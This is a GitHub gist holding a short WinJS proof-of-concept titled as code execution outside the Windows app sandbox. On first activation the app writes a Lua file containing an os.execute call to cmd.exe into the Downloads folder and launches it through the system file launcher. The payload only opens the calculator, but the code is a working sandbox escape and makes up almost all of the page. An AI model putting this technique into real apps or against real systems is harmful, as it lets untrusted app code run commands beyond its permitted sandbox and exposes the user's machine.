Skip to content

Instantly share code, notes, and snippets.

@droogie
Created February 7, 2019 22:15
Show Gist options
  • Save droogie/4f3535a62771350c75fed1d255659b0f to your computer and use it in GitHub Desktop.
Save droogie/4f3535a62771350c75fed1d255659b0f to your computer and use it in GitHub Desktop.
WinJS code execution outside app sandbox
(function () {
var app = WinJS.Application;
var activation = Windows.ApplicationModel.Activation;
var isFirstActivation = true;
app.onactivated = function (args) {
if (isFirstActivation) {
// execute system command via lua
Windows.Storage.DownloadsFolder.createFileAsync("escape.lua").then(function (file) {
sampleFile = file;
Windows.Storage.FileIO.writeTextAsync(sampleFile, "os.execute('cmd.exe /c calc.exe')").then(function () {
sampleFile2 = sampleFile;
Windows.System.Launcher.launchFileAsync(sampleFile2).then(function (suc) {
if (suc) {
Windows.UI.Popups.MessageDialog("File opened :)").showAsync().then();
} else {
Windows.UI.Popups.MessageDialog("File not opened :(").showAsync().then();
}
});
});
});
}
};
app.start();
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment